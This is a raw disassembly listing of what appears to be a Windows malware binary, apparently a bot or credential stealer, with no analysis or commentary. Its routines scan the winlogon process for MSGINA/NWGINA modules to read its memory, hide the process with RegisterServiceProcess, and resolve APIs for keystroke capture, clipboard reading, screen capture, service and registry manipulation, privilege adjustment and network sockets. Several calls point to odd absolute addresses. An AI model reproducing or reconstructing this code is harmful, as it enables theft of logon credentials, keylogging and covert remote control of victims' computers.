var_8		= dword	ptr -8
var_4		= dword	ptr -4

		sub	esp, 18h
		and	[esp+18h+var_4], 0
		and	[esp+18h+var_14], 0
		push	ebx
		push	ebp
		push	esi
		mov	esi, dword_4240EC
		mov	ebx, 100h
		push	edi
		push	ebx
		push	8
		call	esi
		mov	edi, dword_4240E8
		push	eax
		call	edi
		mov	ebp, eax
		lea	eax, [esp+28h+var_14]
		push	eax
		push	ebx
		push	ebp
		push	10h
		call	dword_43F314
		push	ebp
		push	0
		call	esi
		push	eax
		nop
		call	near ptr 26F0264h
		push	[esp+28h+var_14]
		push	8
		call	esi
		push	eax
		call	edi
		mov	ebp, eax
		mov	eax, [esp+28h+var_14]
		lea	ecx, [esp+28h+var_C]
		mov	[esp+28h+var_C], eax
		push	ecx
		push	eax
		push	ebp
		push	10h
		call	dword_43F314
		test	eax, eax
		jnz	short loc_4092F6
		mov	eax, [esp+28h+var_C]
		shr	eax, 4
		mov	[esp+28h+var_10], eax
		jz	short loc_4092F6
		push	1
		mov	ebx, ebp
		pop	ecx
		cmp	eax, ecx
		mov	[esp+28h+var_18], ecx
		jb	short loc_4092F6


loc_409292:				; CODE XREF: sub_409209+EBj
		cmp	word ptr [ebx+8], 5
		jnz	short loc_4092E9
		push	0
		push	0
		call	dword_43F308
		mov	edi, eax
		push	edi
		push	1
		push	dword ptr [ebx+4]
		call	dword_43F518
		test	eax, eax
		jnz	short loc_4092DA
		mov	eax, [edi+60h]
		push	offset aWinlogon ; "WINLOGON"
		mov	[esp+2Ch+var_8], eax
		lea	eax, [edi+80h]
		push	eax
		call	sub_419063
		pop	ecx
		push	eax
		call	sub_417880
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40930E


loc_4092DA:				; CODE XREF: sub_409209+AAj
		test	edi, edi
		jz	short loc_4092E5
		push	edi
		call	dword_43F310


loc_4092E5:				; CODE XREF: sub_409209+D3j
		mov	eax, [esp+28h+var_10]


loc_4092E9:				; CODE XREF: sub_409209+8Ej
		add	ebx, 10h
		inc	[esp+28h+var_18]
		cmp	[esp+28h+var_18], eax
		jbe	short loc_409292


loc_4092F6:				; CODE XREF: sub_409209+6Dj
					; sub_409209+7Aj ...
		xor	edi, edi


loc_4092F8:				; CODE XREF: sub_409209+17Dj
		push	ebp
		push	0
		call	esi
		push	eax
		nop
		call	near ptr 26F0264h
		mov	eax, edi


loc_409306:				; CODE XREF: sub_409209+184j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 18h
		retn
; ---------------------------------------------------------------------------


loc_40930E:				; CODE XREF: sub_409209+CFj
		and	[esp+28h+var_10], 0
		cmp	[esp+28h+var_8], 0
		jbe	short loc_409377
		lea	eax, [edi+80h]
		mov	[esp+28h+var_18], eax


loc_409324:				; CODE XREF: sub_409209+16Cj
		add	[esp+28h+var_18], 11Ch
		push	offset aNwgina	; "NWGINA"
		push	[esp+2Ch+var_18]
		call	sub_419063
		pop	ecx
		push	eax
		call	sub_417880
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40938B
		push	offset aMsgina	; "MSGINA"
		push	[esp+2Ch+var_18]
		call	sub_419063
		pop	ecx
		push	eax
		call	sub_417880
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409369
		mov	eax, [ebx+4]
		mov	[esp+28h+var_4], eax


loc_409369:				; CODE XREF: sub_409209+157j
		inc	[esp+28h+var_10]
		mov	eax, [esp+28h+var_10]
		cmp	eax, [esp+28h+var_8]
		jb	short loc_409324


loc_409377:				; CODE XREF: sub_409209+10Fj
		test	edi, edi
		jz	short loc_409382
		push	edi
		call	dword_43F310


loc_409382:				; CODE XREF: sub_409209+170j
		mov	edi, [esp+28h+var_4]
		jmp	loc_4092F8
; ---------------------------------------------------------------------------


loc_40938B:				; CODE XREF: sub_409209+13Cj
		xor	eax, eax
		jmp	loc_409306
sub_409209	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409392	proc near		; CODE XREF: sub_409037+F1p

var_64		= byte ptr -64h
var_60		= dword	ptr -60h
var_40		= byte ptr -40h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2B		= byte ptr -2Bh
var_24		= byte ptr -24h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 64h
		push	esi
		xor	esi, esi
		push	[ebp+arg_0]
		mov	[ebp+var_10], esi
		push	esi
		push	410h
		nop
		call	near ptr 2710724h
		cmp	eax, esi
		mov	[ebp+var_4], eax
		jnz	short loc_4093BB
		xor	eax, eax
		jmp	loc_409536
; ---------------------------------------------------------------------------


loc_4093BB:				; CODE XREF: sub_409392+20j
		mov	eax, [ebp+arg_4]
		push	ebx
		push	edi
		mov	[eax], esi
		lea	eax, [ebp+var_64]
		push	eax
		nop
		call	near ptr 27102A5h
		push	[ebp+var_60]
		mov	[ebp+var_8], esi
		mov	esi, dword_4240EC
		push	8
		call	esi
		mov	edi, dword_4240E8
		push	eax
		call	edi
		lea	ecx, [ebp+var_8]
		mov	ebx, dword_4240F4
		push	ecx
		mov	[ebp+arg_0], eax
		push	[ebp+var_60]
		push	eax
		push	7FFDF000h
		push	[ebp+var_4]
		call	ebx
		test	eax, eax
		jnz	short loc_40940B
		xor	esi, esi
		jmp	loc_409529
; ---------------------------------------------------------------------------


loc_40940B:				; CODE XREF: sub_409392+70j
		lea	eax, [ebp+var_40]
		push	1Ch
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+18h]
		push	[ebp+var_4]
		nop
		call	near ptr 2700BA9h
		test	eax, eax
		jz	loc_409518
		mov	ecx, [ebp+var_30]
		mov	eax, 1000h
		and	ecx, eax
		cmp	ecx, eax
		jnz	loc_409518
		test	[ebp+var_2B], 1
		jnz	loc_409518
		push	[ebp+var_34]
		push	8
		call	esi
		push	eax
		call	edi
		mov	edi, eax
		lea	eax, [ebp+var_8]
		push	eax
		mov	eax, [ebp+arg_0]
		push	[ebp+var_34]
		mov	[ebp+var_C], edi
		push	edi
		push	dword ptr [eax+18h]
		push	[ebp+var_4]
		call	ebx
		test	eax, eax
		jz	loc_409518


loc_40946E:				; CODE XREF: sub_409392+112j
		push	edi
		push	offset dword_43E308
		call	sub_422A52
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409496
		lea	eax, [edi+200h]
		push	eax
		push	offset dword_43EB08
		call	sub_422A52
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4094A6


loc_409496:				; CODE XREF: sub_409392+EBj
		mov	eax, [ebp+var_34]
		mov	ecx, [ebp+var_C]
		inc	edi
		add	eax, ecx
		inc	edi
		cmp	edi, eax
		jnb	short loc_409518
		jmp	short loc_40946E
; ---------------------------------------------------------------------------


loc_4094A6:				; CODE XREF: sub_409392+102j
		test	edi, edi
		jz	short loc_409518
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [edi+410h]
		push	eax
		nop
		call	near ptr 269054Ch
		test	eax, eax
		jz	short loc_4094E1
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		nop
		call	near ptr 2690000h
		test	eax, eax
		jz	short loc_4094E1
		mov	al, [edi+42Ch]
		mov	ecx, [ebp+arg_4]
		shr	eax, 1
		and	eax, 7Fh
		mov	[ecx], eax


loc_4094E1:				; CODE XREF: sub_409392+12Bj
					; sub_409392+13Dj
		movzx	eax, word ptr [edi+42Ch]
		shr	eax, 8
		mov	dword_43F52C, eax
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_10], 1
		mov	eax, [eax+18h]
		sub	eax, [ebp+var_C]
		lea	eax, [eax+edi+434h]
		add	edi, 434h
		mov	dword_43F524, eax
		mov	dword_43F528, edi


loc_409518:				; CODE XREF: sub_409392+90j
					; sub_409392+A2j ...
		push	[ebp+arg_0]
		push	0
		call	esi
		push	eax
		call	near ptr 26F0264h
		nop
		mov	esi, [ebp+var_10]


loc_409529:				; CODE XREF: sub_409392+74j
		push	[ebp+var_4]
		nop
		call	near ptr 26217F0h
		pop	edi
		mov	eax, esi
		pop	ebx


loc_409536:				; CODE XREF: sub_409392+24j
		pop	esi
		leave
		retn
sub_409392	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409539	proc near		; CODE XREF: sub_409037:loc_40912Fp

var_4C		= byte ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_28		= byte ptr -28h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_13		= byte ptr -13h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 4Ch
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		push	0
		push	410h
		nop
		call	near ptr 2710724h
		test	eax, eax
		mov	[ebp+arg_0], eax
		jz	loc_40962B
		mov	eax, [ebp+arg_4]
		and	dword ptr [eax], 0
		lea	eax, [ebp+var_4C]
		push	eax
		nop
		call	near ptr 27102A5h
		mov	ebx, [ebp+var_44]
		mov	eax, [ebp+var_40]
		cmp	ebx, eax
		mov	[ebp+var_C], eax
		jnb	loc_409622
		mov	edi, dword_4240EC


loc_409584:				; CODE XREF: sub_409539+E3j
		lea	eax, [ebp+var_28]
		push	1Ch
		push	eax
		push	ebx
		push	[ebp+arg_0]
		nop
		call	near ptr 2700BA9h
		test	eax, eax
		jz	short loc_409610
		mov	edx, [ebp+var_18]
		mov	ecx, [ebp+var_1C]
		mov	eax, 1000h
		mov	[ebp+var_4], ecx
		and	edx, eax
		cmp	edx, eax
		jnz	short loc_409616
		test	[ebp+var_13], 1
		jnz	short loc_409616
		push	ecx
		push	8
		call	edi
		push	eax
		call	near ptr 2700000h
		nop
		mov	esi, eax
		lea	eax, [ebp+var_8]
		push	eax
		and	[ebp+var_8], 0
		push	[ebp+var_1C]
		push	esi
		push	ebx
		push	[ebp+arg_0]
		nop
		call	near ptr 2710000h
		test	eax, eax
		jz	short loc_409602
		push	offset dword_43E308
		push	esi
		call	sub_422A52
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409602
		lea	eax, [esi+400h]
		push	offset dword_43EB08
		push	eax
		call	sub_422A52
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_409632


loc_409602:				; CODE XREF: sub_409539+9Fj
					; sub_409539+B0j
		push	esi
		push	0
		call	edi
		push	eax
		nop
		call	near ptr 26F0264h
		jmp	short loc_409616
; ---------------------------------------------------------------------------


loc_409610:				; CODE XREF: sub_409539+5Dj
		mov	eax, [ebp+var_48]
		mov	[ebp+var_4], eax


loc_409616:				; CODE XREF: sub_409539+71j
					; sub_409539+77j ...
		add	ebx, [ebp+var_4]
		cmp	ebx, [ebp+var_C]
		jb	loc_409584


loc_409622:				; CODE XREF: sub_409539+3Fj
		push	[ebp+arg_0]
		call	near ptr 26217F0h
		nop


loc_40962B:				; CODE XREF: sub_409539+1Ej
		xor	eax, eax


loc_40962D:				; CODE XREF: sub_409539+134j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_409632:				; CODE XREF: sub_409539+C7j
		add	ebx, 800h
		lea	eax, [esi+800h]
		xor	ecx, ecx
		mov	dword_43F524, ebx
		mov	dword_43F528, eax
		cmp	[eax], cl
		jnz	short loc_409654
		cmp	[eax+1], cl
		jz	short loc_40965C


loc_409654:				; CODE XREF: sub_409539+114j
					; sub_409539+121j
		inc	ecx
		inc	eax
		inc	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_409654


loc_40965C:				; CODE XREF: sub_409539+119j
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_0]
		mov	[eax], ecx
		call	near ptr 26217F0h
		nop
		push	1
		pop	eax
		jmp	short loc_40962D
sub_409539	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40966F	proc near		; CODE XREF: sub_409037+135p

var_8		= word ptr -8
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, dword_43F520
		push	esi
		mov	esi, dword_4240EC
		push	edi
		lea	ecx, [eax+eax]
		lea	eax, [eax+eax+2]
		mov	[ebp+var_6], ax
		mov	[ebp+var_8], cx
		movzx	eax, ax
		push	eax
		push	8
		call	esi
		push	eax
		nop
		call	near ptr 2700000h
		mov	ecx, dword_43F520
		mov	[ebp+var_4], eax
		add	ecx, ecx
		push	ecx
		push	dword_43F528
		push	eax
		call	sub_417390
		add	esp, 0Ch
		lea	eax, [ebp+var_8]
		push	eax
		mov	al, byte ptr dword_43F52C
		push	eax
		call	dword_43F30C
		push	[ebp+var_4]
		mov	edi, offset dword_43F318
		push	offset dword_43E308
		push	offset dword_43EB08
		push	[ebp+arg_0]
		push	offset unk_42CDC0
		push	200h
		push	edi
		call	sub_41782A
		add	esp, 1Ch
		push	[ebp+var_4]
		push	0
		call	esi
		push	eax
		nop
		call	near ptr 26F0264h
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
sub_40966F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409706	proc near		; CODE XREF: sub_409037:loc_409173p

var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, dword_43F520
		push	ebx
		push	esi
		push	edi
		lea	ecx, [eax+eax]
		lea	eax, [eax+eax+2]
		mov	[ebp+var_16], ax
		mov	[ebp+var_18], cx
		movzx	eax, ax
		push	eax
		push	8
		nop
		call	near ptr 2700B5Bh
		push	eax
		nop
		call	near ptr 2700000h
		and	[ebp+var_C], 0
		mov	[ebp+var_14], eax
		mov	ebx, offset dword_43EB08
		mov	edi, 200h
		mov	esi, offset dword_43E108


loc_40974C:				; CODE XREF: sub_409706+FAj
		mov	eax, dword_43F520
		add	eax, eax
		push	eax
		push	dword_43F528
		push	[ebp+var_14]
		call	sub_417390
		add	esp, 0Ch
		lea	eax, [ebp+var_18]
		push	eax
		push	[ebp+var_C]
		call	dword_43F30C
		mov	eax, dword_43F520
		and	[ebp+var_10], 0
		mov	ecx, [ebp+var_14]
		mov	[ebp+var_8], 1
		test	eax, eax
		jbe	short loc_4097C1


loc_409789:				; CODE XREF: sub_409706+B3j
		cmp	[ebp+var_8], 0
		jz	short loc_4097DE
		mov	dl, [ecx]
		test	dl, dl
		mov	[ebp+var_1], dl
		jz	short loc_4097AD
		cmp	byte ptr [ecx+1], 0
		jnz	short loc_4097AD
		cmp	dl, 20h
		jnb	short loc_4097A7
		and	[ebp+var_8], 0


loc_4097A7:				; CODE XREF: sub_409706+9Bj
		cmp	[ebp+var_1], 7Eh
		jbe	short loc_4097B1


loc_4097AD:				; CODE XREF: sub_409706+90j
					; sub_409706+96j
		and	[ebp+var_8], 0


loc_4097B1:				; CODE XREF: sub_409706+A5j
		inc	ecx
		inc	ecx
		inc	[ebp+var_10]
		cmp	[ebp+var_10], eax
		jb	short loc_409789
		cmp	[ebp+var_8], 0
		jz	short loc_4097DE


loc_4097C1:				; CODE XREF: sub_409706+81j
		push	[ebp+var_14]
		push	offset dword_43E308
		push	ebx
		push	[ebp+arg_0]
		push	offset unk_42CDC0
		push	edi
		push	esi
		call	sub_41782A
		add	esp, 1Ch
		jmp	short loc_4097F6
; ---------------------------------------------------------------------------


loc_4097DE:				; CODE XREF: sub_409706+87j
					; sub_409706+B9j
		push	offset dword_43E308
		push	ebx
		push	[ebp+arg_0]
		push	offset unk_42CE2C
		push	edi
		push	esi
		call	sub_41782A
		add	esp, 18h


loc_4097F6:				; CODE XREF: sub_409706+D6j
		inc	[ebp+var_C]
		cmp	[ebp+var_C], 0FFh
		jbe	loc_40974C
		push	[ebp+var_14]
		push	0
		nop
		call	near ptr 2700B5Bh
		push	eax
		nop
		call	near ptr 26F0264h
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_409706	endp


; =============== S U B	R O U T	I N E =======================================



sub_40981F	proc near		; CODE XREF: ___:0040E6F1p
		push	ebx
		push	ebp
		mov	ebp, dword_424100
		push	esi
		push	edi
		push	offset aKernel32_dll ; "kernel32.dll"
		call	ebp
		mov	esi, dword_4240DC
		mov	edi, eax
		xor	ebx, ebx
		cmp	edi, ebx
		jz	loc_40993F
		push	offset aSeterrormode ; "SetErrorMode"
		push	edi
		call	esi
		push	offset aCreatetoolhelp ; "CreateToolhelp32Snapshot"
		push	edi
		mov	dword_43F714, eax
		call	esi
		push	offset aProcess32first ; "Process32First"
		push	edi
		mov	dword_43F688, eax
		call	esi
		push	offset aProcess32next ;	"Process32Next"
		push	edi
		mov	dword_43F66C, eax
		call	esi
		push	offset aModule32first ;	"Module32First"
		push	edi
		mov	dword_43F588, eax
		call	esi
		push	offset aGetdiskfreespa ; "GetDiskFreeSpaceExA"
		push	edi
		mov	dword_43F534, eax
		call	esi
		push	offset aGetlogicaldriv ; "GetLogicalDriveStringsA"
		push	edi
		mov	dword_43F564, eax
		call	esi
		push	offset aGetdrivetypea ;	"GetDriveTypeA"
		push	edi
		mov	dword_43F5D8, eax
		call	esi
		push	offset aSearchpatha ; "SearchPathA"
		push	edi
		mov	dword_43F6C8, eax
		call	esi
		push	offset aQueryperforman ; "QueryPerformanceCounter"
		push	edi
		mov	dword_43F724, eax
		call	esi
		push	offset aQueryperform_0 ; "QueryPerformanceFrequency"
		push	edi
		mov	dword_43F594, eax
		call	esi
		cmp	dword_43F714, ebx
		mov	dword_43F57C, eax
		jz	short loc_40991D
		cmp	dword_43F688, ebx
		jz	short loc_40991D
		cmp	dword_43F66C, ebx
		jz	short loc_40991D
		cmp	dword_43F588, ebx
		jz	short loc_40991D
		cmp	dword_43F564, ebx
		jz	short loc_40991D
		cmp	dword_43F5D8, ebx
		jz	short loc_40991D
		cmp	dword_43F6C8, ebx
		jz	short loc_40991D
		cmp	dword_43F724, ebx
		jz	short loc_40991D
		cmp	dword_43F594, ebx
		jz	short loc_40991D
		cmp	eax, ebx
		jnz	short loc_409927


loc_40991D:				; CODE XREF: sub_40981F+B8j
					; sub_40981F+C0j ...
		mov	dword_43F728, 1


loc_409927:				; CODE XREF: sub_40981F+FCj
		push	offset aRegisterservic ; "RegisterServiceProcess"
		push	edi
		call	esi
		cmp	eax, ebx
		mov	dword_43F6A0, eax
		jz	short loc_409954
		push	1
		push	ebx
		call	eax
		jmp	short loc_409954
; ---------------------------------------------------------------------------


loc_40993F:				; CODE XREF: sub_40981F+1Dj
		nop
		call	near ptr 2640A83h
		mov	dword_43F72C, eax
		mov	dword_43F728, 1


loc_409954:				; CODE XREF: sub_40981F+117j
					; sub_40981F+11Ej
		push	offset aUser32_dll ; "user32.dll"
		call	near ptr 26F0000h
		nop
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_409A69
		push	offset aSendmessagea ; "SendMessageA"
		push	edi
		call	esi
		push	offset aFindwindowa ; "FindWindowA"
		push	edi
		mov	dword_43F6C4, eax
		call	esi
		push	offset aIswindow ; "IsWindow"
		push	edi
		mov	dword_43F674, eax
		call	esi
		push	offset aDestroywindow ;	"DestroyWindow"
		push	edi
		mov	dword_43F608, eax
		call	esi
		push	offset aOpenclipboard ;	"OpenClipboard"
		push	edi
		mov	dword_43F718, eax
		call	esi
		push	offset aGetclipboardda ; "GetClipboardData"
		push	edi
		mov	dword_43F638, eax
		call	esi
		push	offset aCloseclipboard ; "CloseClipboard"
		push	edi
		mov	dword_43F658, eax
		call	esi
		push	offset aExitwindowsex ;	"ExitWindowsEx"
		push	edi
		mov	dword_43F6BC, eax
		call	esi
		cmp	dword_43F6C4, ebx
		mov	dword_43F5B0, eax
		jz	short loc_409A0D
		cmp	dword_43F674, ebx
		jz	short loc_409A0D
		cmp	dword_43F608, ebx
		jz	short loc_409A0D
		cmp	dword_43F718, ebx
		jz	short loc_409A0D
		cmp	dword_43F638, ebx
		jz	short loc_409A0D
		cmp	dword_43F658, ebx
		jz	short loc_409A0D
		cmp	dword_43F6BC, ebx
		jz	short loc_409A0D
		cmp	eax, ebx
		jnz	short loc_409A17


loc_409A0D:				; CODE XREF: sub_40981F+1B8j
					; sub_40981F+1C0j ...
		mov	dword_43F730, 1


loc_409A17:				; CODE XREF: sub_40981F+1ECj
		push	offset aGetasynckeysta ; "GetAsyncKeyState"
		push	edi
		call	esi
		push	offset aGetkeystate ; "GetKeyState"
		push	edi
		mov	dword_43F634, eax
		call	esi
		push	offset aGetwindowtexta ; "GetWindowTextA"
		push	edi
		mov	dword_43F548, eax
		call	esi
		push	offset aGetforegroundw ; "GetForegroundWindow"
		push	edi
		mov	dword_43F604, eax
		call	esi
		cmp	dword_43F634, ebx
		mov	dword_43F5F0, eax
		jz	short loc_409A74
		cmp	dword_43F548, ebx
		jz	short loc_409A74
		cmp	dword_43F604, ebx
		jz	short loc_409A74
		cmp	eax, ebx
		jnz	short loc_409A7E
		jmp	short loc_409A74
; ---------------------------------------------------------------------------


loc_409A69:				; CODE XREF: sub_40981F+144j
		nop
		call	near ptr 2640A83h
		mov	dword_43F734, eax


loc_409A74:				; CODE XREF: sub_40981F+232j
					; sub_40981F+23Aj ...
		mov	dword_43F730, 1


loc_409A7E:				; CODE XREF: sub_40981F+246j
		push	offset aAdvapi32_dll ; "advapi32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_409C19
		push	offset aRegopenkeyexa ;	"RegOpenKeyExA"
		push	edi
		call	esi
		push	offset aRegcreatekeyex ; "RegCreateKeyExA"
		push	edi
		mov	dword_43F6D8, eax
		call	esi
		push	offset aRegsetvalueexa ; "RegSetValueExA"
		push	edi
		mov	dword_43F61C, eax
		call	esi
		push	offset aRegqueryvaluee ; "RegQueryValueExA"
		push	edi
		mov	dword_43F68C, eax
		call	esi
		push	offset aRegdeletevalue ; "RegDeleteValueA"
		push	edi
		mov	dword_43F574, eax
		call	esi
		push	offset aRegclosekey ; "RegCloseKey"
		push	edi
		mov	dword_43F5D4, eax
		call	esi
		cmp	dword_43F6D8, ebx
		mov	dword_43F644, eax
		jz	short loc_409B09
		cmp	dword_43F61C, ebx
		jz	short loc_409B09
		cmp	dword_43F68C, ebx
		jz	short loc_409B09
		cmp	dword_43F574, ebx
		jz	short loc_409B09
		cmp	dword_43F5D4, ebx
		jz	short loc_409B09
		cmp	eax, ebx
		jnz	short loc_409B13


loc_409B09:				; CODE XREF: sub_40981F+2C4j
					; sub_40981F+2CCj ...
		mov	dword_43F738, 1


loc_409B13:				; CODE XREF: sub_40981F+2E8j
		push	offset aOpenprocesstok ; "OpenProcessToken"
		push	edi
		call	esi
		push	offset aLookupprivileg ; "LookupPrivilegeValueA"
		push	edi
		mov	dword_43F64C, eax
		call	esi
		push	offset aAdjusttokenpri ; "AdjustTokenPrivileges"
		push	edi
		mov	dword_43F624, eax
		call	esi
		cmp	dword_43F64C, ebx
		mov	dword_43F6D4, eax
		jz	short loc_409B4E
		cmp	dword_43F624, ebx
		jz	short loc_409B4E
		cmp	eax, ebx
		jnz	short loc_409B58


loc_409B4E:				; CODE XREF: sub_40981F+321j
					; sub_40981F+329j
		mov	dword_43F738, 1


loc_409B58:				; CODE XREF: sub_40981F+32Dj
		push	offset aOpenscmanagera ; "OpenSCManagerA"
		push	edi
		call	esi
		push	offset aOpenservicea ; "OpenServiceA"
		push	edi
		mov	dword_43F65C, eax
		call	esi
		push	offset aStartservicea ;	"StartServiceA"
		push	edi
		mov	dword_43F550, eax
		call	esi
		push	offset aControlservice ; "ControlService"
		push	edi
		mov	dword_43F558, eax
		call	esi
		push	offset aDeleteservice ;	"DeleteService"
		push	edi
		mov	dword_43F5B8, eax
		call	esi
		push	offset aCloseserviceha ; "CloseServiceHandle"
		push	edi
		mov	dword_43F5BC, eax
		call	esi
		push	offset aEnumservicesst ; "EnumServicesStatusA"
		push	edi
		mov	dword_43F56C, eax
		call	esi
		push	offset aIsvalidsecurit ; "IsValidSecurityDescriptor"
		push	edi
		mov	dword_43F628, eax
		call	esi
		cmp	dword_43F65C, ebx
		mov	dword_43F55C, eax
		jz	short loc_409BFC
		cmp	dword_43F550, ebx
		jz	short loc_409BFC
		cmp	dword_43F558, ebx
		jz	short loc_409BFC
		cmp	dword_43F5B8, ebx
		jz	short loc_409BFC
		cmp	dword_43F5BC, ebx
		jz	short loc_409BFC
		cmp	dword_43F56C, ebx
		jz	short loc_409BFC
		cmp	dword_43F628, ebx
		jz	short loc_409BFC
		cmp	eax, ebx
		jnz	short loc_409C06


loc_409BFC:				; CODE XREF: sub_40981F+3A7j
					; sub_40981F+3AFj ...
		mov	dword_43F738, 1


loc_409C06:				; CODE XREF: sub_40981F+3DBj
		push	offset aGetusernamea ; "GetUserNameA"
		push	edi
		call	esi
		cmp	eax, ebx
		mov	dword_43F554, eax
		jnz	short loc_409C2E
		jmp	short loc_409C24
; ---------------------------------------------------------------------------


loc_409C19:				; CODE XREF: sub_40981F+26Aj
		nop
		call	near ptr 2640A83h
		mov	dword_43F73C, eax


loc_409C24:				; CODE XREF: sub_40981F+3F8j
		mov	dword_43F738, 1


loc_409C2E:				; CODE XREF: sub_40981F+3F6j
		push	offset aGdi32_dll ; "gdi32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_409CFA
		push	offset aCreatedca ; "CreateDCA"
		push	edi
		call	esi
		push	offset aCreatedibsecti ; "CreateDIBSection"
		push	edi
		mov	dword_43F654, eax
		call	esi
		push	offset aCreatecompatib ; "CreateCompatibleDC"
		push	edi
		mov	dword_43F6AC, eax
		call	esi
		push	offset aGetdevicecaps ;	"GetDeviceCaps"
		push	edi
		mov	dword_43F6B4, eax
		call	esi
		push	offset aGetdibcolortab ; "GetDIBColorTable"
		push	edi
		mov	dword_43F670, eax
		call	esi
		push	offset aSelectobject ; "SelectObject"
		push	edi
		mov	dword_43F598, eax
		call	esi
		push	offset aBitblt	; "BitBlt"
		push	edi
		mov	dword_43F544, eax
		call	esi
		push	offset aDeletedc ; "DeleteDC"
		push	edi
		mov	dword_43F6B0, eax
		call	esi
		push	offset aDeleteobject ; "DeleteObject"
		push	edi
		mov	dword_43F530, eax
		call	esi
		cmp	dword_43F654, ebx
		mov	dword_43F5CC, eax
		jz	short loc_409D05
		cmp	dword_43F6AC, ebx
		jz	short loc_409D05
		cmp	dword_43F6B4, ebx
		jz	short loc_409D05
		cmp	dword_43F670, ebx
		jz	short loc_409D05
		cmp	dword_43F598, ebx
		jz	short loc_409D05
		cmp	dword_43F544, ebx
		jz	short loc_409D05
		cmp	dword_43F6B0, ebx
		jz	short loc_409D05
		cmp	dword_43F530, ebx
		jz	short loc_409D05
		cmp	eax, ebx
		jnz	short loc_409D0F
		jmp	short loc_409D05
; ---------------------------------------------------------------------------


loc_409CFA:				; CODE XREF: sub_40981F+41Aj
		nop
		call	near ptr 2640A83h
		mov	dword_43F744, eax


loc_409D05:				; CODE XREF: sub_40981F+49Bj
					; sub_40981F+4A3j ...
		mov	dword_43F740, 1


loc_409D0F:				; CODE XREF: sub_40981F+4D7j
		mov	ebp, dword_4240E0
		push	offset aWs2_32_dll ; "ws2_32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_409FCB
		push	offset aWsastartup ; "WSAStartup"
		push	edi
		call	esi
		push	offset aWsasocketa ; "WSASocketA"
		push	edi
		mov	dword_43F5E0, eax
		call	esi
		push	offset aWsaasyncselect ; "WSAAsyncSelect"
		push	edi
		mov	dword_43F70C, eax
		call	esi
		push	offset a__wsafdisset ; "__WSAFDIsSet"
		push	edi
		mov	dword_43F584, eax
		call	esi
		push	offset aWsaioctl ; "WSAIoctl"
		push	edi
		mov	dword_43F560, eax
		call	esi
		push	offset aWsagetlasterro ; "WSAGetLastError"
		push	edi
		mov	dword_43F614, eax
		call	esi
		push	offset aWsacleanup ; "WSACleanup"
		push	edi
		mov	dword_43F5FC, eax
		call	esi
		push	offset aSocket	; "socket"
		push	edi
		mov	dword_43F5C8, eax
		call	esi
		push	offset aIoctlsocket ; "ioctlsocket"
		push	edi
		mov	dword_43F6E8, eax
		call	esi
		push	offset aConnect	; "connect"
		push	edi
		mov	dword_43F704, eax
		call	esi
		push	offset aInet_ntoa ; "inet_ntoa"
		push	edi
		mov	dword_43F610, eax
		call	esi
		push	offset aInet_addr ; "inet_addr"
		push	edi
		mov	dword_43F6F4, eax
		call	esi
		push	offset aHtons	; "htons"
		push	edi
		mov	dword_43F6A8, eax
		call	esi
		push	offset aHtonl	; "htonl"
		push	edi
		mov	dword_43F668, eax
		call	esi
		push	offset aNtohs	; "ntohs"
		push	edi
		mov	dword_43F664, eax
		call	esi
		push	offset aNtohl	; "ntohl"
		push	edi
		mov	dword_43F5A4, eax
		call	esi
		push	offset aSend	; "send"
		push	edi
		mov	dword_43F59C, eax
		call	esi
		push	offset aSendto	; "sendto"
		push	edi
		mov	dword_43F6B8, eax
		call	esi
		push	offset aRecv	; "recv"
		push	edi
		mov	dword_43F6CC, eax
		call	esi
		push	offset aRecvfrom ; "recvfrom"
		push	edi
		mov	dword_43F680, eax
		call	esi
		mov	dword_43F640, eax
		push	offset aBind	; "bind"
		push	edi
		call	esi
		push	offset aSelect	; "select"
		push	edi
		mov	dword_43F694, eax
		call	esi
